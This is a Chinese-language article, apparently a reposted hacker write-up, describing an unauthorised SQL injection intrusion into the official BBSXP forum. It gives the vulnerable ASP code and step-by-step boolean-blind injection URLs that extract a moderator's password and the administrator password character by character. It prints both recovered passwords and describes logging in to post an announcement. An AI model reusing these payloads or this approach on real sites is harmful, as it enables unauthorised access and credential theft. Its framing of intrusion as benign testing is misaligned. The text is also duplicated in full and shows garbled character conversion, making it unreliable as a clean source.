利用最基本的SQL注入滲透BBSXP官方網(wǎng)站的臺(tái)后管理
發(fā)布日期:2021-12-27 16:08 | 文章來(lái)源:站長(zhǎng)之家
漏洞分析
序:
有一部電影的名字叫著《全職殺手》,劇中的男主角托爾,我非常喜歡他的個(gè)性!
他非常的cool,i like!呵呵,不知道你看過(guò)這部電影沒(méi)有?
不過(guò),我今天要為大家講解的故事發(fā)現(xiàn)在網(wǎng)絡(luò)當(dāng)中.這次是一次非常,常見(jiàn)的sql滲透攻擊.也是最基礎(chǔ)的.
過(guò)程如下:
1.找出漏洞并分析漏洞.
2.利用漏洞,得到前臺(tái)區(qū)長(zhǎng)密碼.
3.利用漏洞,得到后臺(tái)密碼.
4.添加公告,閃人! 開(kāi)始工作: 到bbsxp官方網(wǎng)站下載最新的bbsxp。 第一步:找出漏洞,并分析漏洞.這個(gè)漏洞存在于用戶添加收藏功能中 相應(yīng)的asp文件:favorites.asp
//*************************源代碼***************************************************//
<% if request.cookies("username")="" then
error("
您還還未登陸社區(qū)")
end if select case request("menu")
case "add"
if request.servervariables("request_method")="post" then
url=request("url")
else
url=request.servervariables("http_referer")
end if
conn.execute("insert into favorites(username,name,url)values("&request.cookies("username")&","&request("name")&","&url&")")
error2("已經(jīng)添加到網(wǎng)絡(luò)收藏夾!") case "del"
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
end select
//***************************后面的無(wú)用代碼略掉********************************// 看到代碼了,首先要注冊(cè)使用本功能.
然后在這個(gè)asp文件中提交的參數(shù)有:menu,id就這兩個(gè)值.
大家看看,當(dāng)提交的menu=del的時(shí)候。哈哈!調(diào)用的是什么?就是它,它就有漏洞。漏洞在哪里?
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
提交的id值沒(méi)有過(guò)濾直接加入到sql語(yǔ)句中了。 攻擊演示 第二步,利用漏洞,得到前臺(tái)管理員密碼. 接到上面的來(lái)。我們測(cè)試一下這個(gè)漏洞是不是存在.
自己先添加一個(gè)收藏地址進(jìn)去.得到收藏的id號(hào)(我們得到的是576)。
在ie中提交.
http://bbs.yuzi.net/favori... and 1=1
提交到sql中,實(shí)際上就是:
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=1")
不用管那個(gè)request.cookies("username").他直接就等于你進(jìn)來(lái)的用戶名.
提交后,發(fā)現(xiàn)我們收藏的文件被del了。證明有這個(gè)漏洞,沒(méi)有打上補(bǔ)丁。 現(xiàn)在我找到漏洞了,呵呵~!點(diǎn)支煙吧!!打開(kāi)數(shù)據(jù)庫(kù)查看數(shù)據(jù)庫(kù)結(jié)構(gòu)。
保存數(shù)據(jù)庫(kù)的用戶名字段為:username 密碼字段為:userpass(注:密碼是明碼,沒(méi)有經(jīng)過(guò)任何加密)
我們現(xiàn)在就來(lái)得到一個(gè)區(qū)長(zhǎng)的密碼吧。在首頁(yè)看到區(qū)長(zhǎng)的名字有一個(gè)叫:kongweb的. 提交http://bbs.yuzi.net/favori... and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5) 呵呵,提交到sql中,又是什么呢?
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)") 對(duì)sql語(yǔ)句了解的戰(zhàn)友們都知道,當(dāng)where條件后面為真的情況下,才會(huì)執(zhí)行這條語(yǔ)句!
執(zhí)行這條語(yǔ)句的結(jié)果就是del一條自己的收藏地址,那么我們的
1=(select count(*) from [user] where username=kongweb and len(userpass)=5)")
如果為真的話就del了id為576的收藏地址.
看一下。這條語(yǔ)句,當(dāng)用戶名是kongweb,當(dāng)密碼長(zhǎng)度為5的時(shí)候,就有一條記錄返回。
count(*)的意思就是返回滿足條件的記錄總數(shù),剛好為1條。也就是說(shuō)等式正立。
當(dāng)然不成功,是不會(huì)del了收藏地址的。 最后我們改變長(zhǎng)度值. 結(jié)果出來(lái)了當(dāng)長(zhǎng)度等于9的時(shí)候。del了收藏地址。
證明kongweb這個(gè)區(qū)長(zhǎng)的密碼為:9位.
好了,我們開(kāi)工吧, 我們來(lái)破他的第一位密碼。不過(guò)我們?cè)谙绕泼艽a的時(shí)候,要多加點(diǎn)收藏地址。
因?yàn)檎_一個(gè)就會(huì)del一個(gè)收藏地址。 采用提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=a)
這里說(shuō)一個(gè)mid函數(shù)的用法:
mid(字符串,起始位置,長(zhǎng)度) 這是一個(gè)取字符串中特定位置,特定長(zhǎng)度的一個(gè)函數(shù).
我們mid(userpass,1,1)=a表示取出密碼的第一位看是不是a 注:一定要加上單引號(hào)不錯(cuò)會(huì)出錯(cuò). 本來(lái)我打算用我寫的破解程序的來(lái)直接破解的,不過(guò)我們連到他的bbs網(wǎng)站上特別的慢。也不知道為什么。
所以,程序半天都跑不出來(lái)。也就只有手工猜了.
第一位密碼幾分種后才猜出來(lái)。 當(dāng)我們提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=k) 的時(shí)候,我們del了,收藏地址id為588的記錄.
在ie中沒(méi)有看到那條記錄了。證明成功了。好,現(xiàn)在換id值,取第二位.
http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,2,1)=d)
就這樣重復(fù)的提交和修改,最后得出密碼是:kdjkdjkdj 這里來(lái)介紹一下簡(jiǎn)單的方法,可以用取字符asc碼的辦法縮小范圍的。
http://..... and 1=(select count(*) from [user] where username=kongweb and asc(mid(userpass,1,1))>100)
如果成立就del收藏.證明第一個(gè)字符的asc碼大于100。
相反,你也可以這樣測(cè)試:..asc(mid(userpass,1,1))<105
如果正確,那么這個(gè)字符的asc碼就是:100-105之間了。最后確定,比如:當(dāng)asc(mid(userpass,1,1))=103
如果del了收藏,就得到這個(gè)字符的asc碼了。再用相應(yīng)的工具轉(zhuǎn)成e文母就ok了。[我寫了有這樣的程序,要的朋友請(qǐng)與我聯(lián)系]
這里沒(méi)有用這種方法,是因?yàn)檫@里要添加太多的收藏地址才行。因?yàn)橛梅秶ケ容^的話,正立的機(jī)會(huì)很大,當(dāng)成立就會(huì)del收藏的。所以我們還是一位一位的取吧。
添加收藏也慢得要死。
好了,看來(lái)第二步的任務(wù)已經(jīng)完成了。我們得到了區(qū)長(zhǎng):kongweb 密碼:kdjkdjkdj 第三步:得到后臺(tái)管理密碼; 看一下他的庫(kù)結(jié)構(gòu),發(fā)現(xiàn)了clubconfig這個(gè)表中有一個(gè)字段叫:adminpassword是用來(lái)保存密碼字段的.并且也是明密保存的.
我們要的就是他。我們就要取到這個(gè)字段的值.
這個(gè)庫(kù)中一般都就只有一條記錄。所以他的count(*) 也就只有一條. 再次利用我們第二步的漏洞.進(jìn)行猜解.
一樣的辦法。得到后臺(tái)密碼長(zhǎng)度為:9位.
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where len(adminpassword)=9)
剛好正確。
想到了,剛才前臺(tái)的密碼也是9位。不會(huì)前臺(tái)和后臺(tái)的密碼相同吧,測(cè)試一下。結(jié)果不正確。和前臺(tái)的密碼不一樣。也只有慢慢的猜了。 猜第一位:
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,1,1)=b)
ok。第一位出來(lái)了。
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,2,1)=b)
ok.第二位也出來(lái)了。前兩位是bb. 呵呵,你的社會(huì)工程學(xué),學(xué)得怎么樣啊??聯(lián)想一下。我們想到了bbs呵呵,我們想到前三位可能是bbs試試吧!
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,3,1)=s)
太對(duì)了。再發(fā)揮你的社會(huì)工程學(xué)方面的功能。又想到了bbsxp因?yàn)樗堑木W(wǎng)站開(kāi)發(fā)的產(chǎn)品嘛。一般人都是這樣的。試試。 現(xiàn)在我們用left函數(shù)取前5位
說(shuō)明一個(gè)函數(shù):left(字符串,長(zhǎng)度)就是從字符串第一位開(kāi)始,取長(zhǎng)度個(gè)值
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where left(adminpassword,5)=bbsxp)
又對(duì)了。呵呵,還有四位,想不出來(lái)了。我們又破到了兩位.
前七位就是:bbsxpco還有兩位了。想一下。co加兩位什么好呢?呵呵,社會(huì)工程學(xué),學(xué)得沒(méi)有別人好啊。
兄弟們都想了好久,最后想到了cool試試吧?。?!
最了,最后居然對(duì)了。就是cool密碼就是:bbsxpcool
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where adminpassword=bbsxpcool) 現(xiàn)在有前臺(tái)的賬號(hào),和后臺(tái)的密碼。進(jìn)去發(fā)布公告吧! 第四步:發(fā)布公告.
進(jìn)入后臺(tái)我們發(fā)布了記他注意腳本安全的公告,然后閃人! 結(jié)束句:
前段時(shí)間測(cè)試動(dòng)網(wǎng)官方論壇,也一樣的有漏洞,今天測(cè)試bbsxp還有這么低級(jí)的錯(cuò)誤,我們?cè)谶@里先向我們?nèi)肭诌^(guò)的動(dòng)網(wǎng),以及bbsxp道歉!
我們并不是惡意的攻擊,我們只是為了網(wǎng)絡(luò)更加安全,測(cè)試了一下你們的論壇!希望你們以后會(huì)寫得更好!
我們也一樣會(huì)努力認(rèn)真的再次對(duì)你們的論壇進(jìn)行測(cè)試的。
序:
有一部電影的名字叫著《全職殺手》,劇中的男主角托爾,我非常喜歡他的個(gè)性!
他非常的cool,i like!呵呵,不知道你看過(guò)這部電影沒(méi)有?
不過(guò),我今天要為大家講解的故事發(fā)現(xiàn)在網(wǎng)絡(luò)當(dāng)中.這次是一次非常,常見(jiàn)的sql滲透攻擊.也是最基礎(chǔ)的.
過(guò)程如下:
1.找出漏洞并分析漏洞.
2.利用漏洞,得到前臺(tái)區(qū)長(zhǎng)密碼.
3.利用漏洞,得到后臺(tái)密碼.
4.添加公告,閃人! 開(kāi)始工作: 到bbsxp官方網(wǎng)站下載最新的bbsxp。 第一步:找出漏洞,并分析漏洞.這個(gè)漏洞存在于用戶添加收藏功能中 相應(yīng)的asp文件:favorites.asp
//*************************源代碼***************************************************//
<% if request.cookies("username")="" then
error("
您還還未登陸社區(qū)")
end if select case request("menu")
case "add"
if request.servervariables("request_method")="post" then
url=request("url")
else
url=request.servervariables("http_referer")
end if
conn.execute("insert into favorites(username,name,url)values("&request.cookies("username")&","&request("name")&","&url&")")
error2("已經(jīng)添加到網(wǎng)絡(luò)收藏夾!") case "del"
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
end select
//***************************后面的無(wú)用代碼略掉********************************// 看到代碼了,首先要注冊(cè)使用本功能.
然后在這個(gè)asp文件中提交的參數(shù)有:menu,id就這兩個(gè)值.
大家看看,當(dāng)提交的menu=del的時(shí)候。哈哈!調(diào)用的是什么?就是它,它就有漏洞。漏洞在哪里?
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
提交的id值沒(méi)有過(guò)濾直接加入到sql語(yǔ)句中了。 攻擊演示 第二步,利用漏洞,得到前臺(tái)管理員密碼. 接到上面的來(lái)。我們測(cè)試一下這個(gè)漏洞是不是存在.
自己先添加一個(gè)收藏地址進(jìn)去.得到收藏的id號(hào)(我們得到的是576)。
在ie中提交.
http://bbs.yuzi.net/favori... and 1=1
提交到sql中,實(shí)際上就是:
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=1")
不用管那個(gè)request.cookies("username").他直接就等于你進(jìn)來(lái)的用戶名.
提交后,發(fā)現(xiàn)我們收藏的文件被del了。證明有這個(gè)漏洞,沒(méi)有打上補(bǔ)丁。 現(xiàn)在我找到漏洞了,呵呵~!點(diǎn)支煙吧!!打開(kāi)數(shù)據(jù)庫(kù)查看數(shù)據(jù)庫(kù)結(jié)構(gòu)。
保存數(shù)據(jù)庫(kù)的用戶名字段為:username 密碼字段為:userpass(注:密碼是明碼,沒(méi)有經(jīng)過(guò)任何加密)
我們現(xiàn)在就來(lái)得到一個(gè)區(qū)長(zhǎng)的密碼吧。在首頁(yè)看到區(qū)長(zhǎng)的名字有一個(gè)叫:kongweb的. 提交http://bbs.yuzi.net/favori... and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5) 呵呵,提交到sql中,又是什么呢?
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)") 對(duì)sql語(yǔ)句了解的戰(zhàn)友們都知道,當(dāng)where條件后面為真的情況下,才會(huì)執(zhí)行這條語(yǔ)句!
執(zhí)行這條語(yǔ)句的結(jié)果就是del一條自己的收藏地址,那么我們的
1=(select count(*) from [user] where username=kongweb and len(userpass)=5)")
如果為真的話就del了id為576的收藏地址.
看一下。這條語(yǔ)句,當(dāng)用戶名是kongweb,當(dāng)密碼長(zhǎng)度為5的時(shí)候,就有一條記錄返回。
count(*)的意思就是返回滿足條件的記錄總數(shù),剛好為1條。也就是說(shuō)等式正立。
當(dāng)然不成功,是不會(huì)del了收藏地址的。 最后我們改變長(zhǎng)度值. 結(jié)果出來(lái)了當(dāng)長(zhǎng)度等于9的時(shí)候。del了收藏地址。
證明kongweb這個(gè)區(qū)長(zhǎng)的密碼為:9位.
好了,我們開(kāi)工吧, 我們來(lái)破他的第一位密碼。不過(guò)我們?cè)谙绕泼艽a的時(shí)候,要多加點(diǎn)收藏地址。
因?yàn)檎_一個(gè)就會(huì)del一個(gè)收藏地址。 采用提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=a)
這里說(shuō)一個(gè)mid函數(shù)的用法:
mid(字符串,起始位置,長(zhǎng)度) 這是一個(gè)取字符串中特定位置,特定長(zhǎng)度的一個(gè)函數(shù).
我們mid(userpass,1,1)=a表示取出密碼的第一位看是不是a 注:一定要加上單引號(hào)不錯(cuò)會(huì)出錯(cuò). 本來(lái)我打算用我寫的破解程序的來(lái)直接破解的,不過(guò)我們連到他的bbs網(wǎng)站上特別的慢。也不知道為什么。
所以,程序半天都跑不出來(lái)。也就只有手工猜了.
第一位密碼幾分種后才猜出來(lái)。 當(dāng)我們提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=k) 的時(shí)候,我們del了,收藏地址id為588的記錄.
在ie中沒(méi)有看到那條記錄了。證明成功了。好,現(xiàn)在換id值,取第二位.
http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,2,1)=d)
就這樣重復(fù)的提交和修改,最后得出密碼是:kdjkdjkdj 這里來(lái)介紹一下簡(jiǎn)單的方法,可以用取字符asc碼的辦法縮小范圍的。
http://..... and 1=(select count(*) from [user] where username=kongweb and asc(mid(userpass,1,1))>100)
如果成立就del收藏.證明第一個(gè)字符的asc碼大于100。
相反,你也可以這樣測(cè)試:..asc(mid(userpass,1,1))<105
如果正確,那么這個(gè)字符的asc碼就是:100-105之間了。最后確定,比如:當(dāng)asc(mid(userpass,1,1))=103
如果del了收藏,就得到這個(gè)字符的asc碼了。再用相應(yīng)的工具轉(zhuǎn)成e文母就ok了。[我寫了有這樣的程序,要的朋友請(qǐng)與我聯(lián)系]
這里沒(méi)有用這種方法,是因?yàn)檫@里要添加太多的收藏地址才行。因?yàn)橛梅秶ケ容^的話,正立的機(jī)會(huì)很大,當(dāng)成立就會(huì)del收藏的。所以我們還是一位一位的取吧。
添加收藏也慢得要死。
好了,看來(lái)第二步的任務(wù)已經(jīng)完成了。我們得到了區(qū)長(zhǎng):kongweb 密碼:kdjkdjkdj 第三步:得到后臺(tái)管理密碼; 看一下他的庫(kù)結(jié)構(gòu),發(fā)現(xiàn)了clubconfig這個(gè)表中有一個(gè)字段叫:adminpassword是用來(lái)保存密碼字段的.并且也是明密保存的.
我們要的就是他。我們就要取到這個(gè)字段的值.
這個(gè)庫(kù)中一般都就只有一條記錄。所以他的count(*) 也就只有一條. 再次利用我們第二步的漏洞.進(jìn)行猜解.
一樣的辦法。得到后臺(tái)密碼長(zhǎng)度為:9位.
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where len(adminpassword)=9)
剛好正確。
想到了,剛才前臺(tái)的密碼也是9位。不會(huì)前臺(tái)和后臺(tái)的密碼相同吧,測(cè)試一下。結(jié)果不正確。和前臺(tái)的密碼不一樣。也只有慢慢的猜了。 猜第一位:
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,1,1)=b)
ok。第一位出來(lái)了。
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,2,1)=b)
ok.第二位也出來(lái)了。前兩位是bb. 呵呵,你的社會(huì)工程學(xué),學(xué)得怎么樣啊??聯(lián)想一下。我們想到了bbs呵呵,我們想到前三位可能是bbs試試吧!
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,3,1)=s)
太對(duì)了。再發(fā)揮你的社會(huì)工程學(xué)方面的功能。又想到了bbsxp因?yàn)樗堑木W(wǎng)站開(kāi)發(fā)的產(chǎn)品嘛。一般人都是這樣的。試試。 現(xiàn)在我們用left函數(shù)取前5位
說(shuō)明一個(gè)函數(shù):left(字符串,長(zhǎng)度)就是從字符串第一位開(kāi)始,取長(zhǎng)度個(gè)值
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where left(adminpassword,5)=bbsxp)
又對(duì)了。呵呵,還有四位,想不出來(lái)了。我們又破到了兩位.
前七位就是:bbsxpco還有兩位了。想一下。co加兩位什么好呢?呵呵,社會(huì)工程學(xué),學(xué)得沒(méi)有別人好啊。
兄弟們都想了好久,最后想到了cool試試吧?。?!
最了,最后居然對(duì)了。就是cool密碼就是:bbsxpcool
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where adminpassword=bbsxpcool) 現(xiàn)在有前臺(tái)的賬號(hào),和后臺(tái)的密碼。進(jìn)去發(fā)布公告吧! 第四步:發(fā)布公告.
進(jìn)入后臺(tái)我們發(fā)布了記他注意腳本安全的公告,然后閃人! 結(jié)束句:
前段時(shí)間測(cè)試動(dòng)網(wǎng)官方論壇,也一樣的有漏洞,今天測(cè)試bbsxp還有這么低級(jí)的錯(cuò)誤,我們?cè)谶@里先向我們?nèi)肭诌^(guò)的動(dòng)網(wǎng),以及bbsxp道歉!
我們并不是惡意的攻擊,我們只是為了網(wǎng)絡(luò)更加安全,測(cè)試了一下你們的論壇!希望你們以后會(huì)寫得更好!
我們也一樣會(huì)努力認(rèn)真的再次對(duì)你們的論壇進(jìn)行測(cè)試的。
版權(quán)聲明:本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái),僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。
相關(guān)文章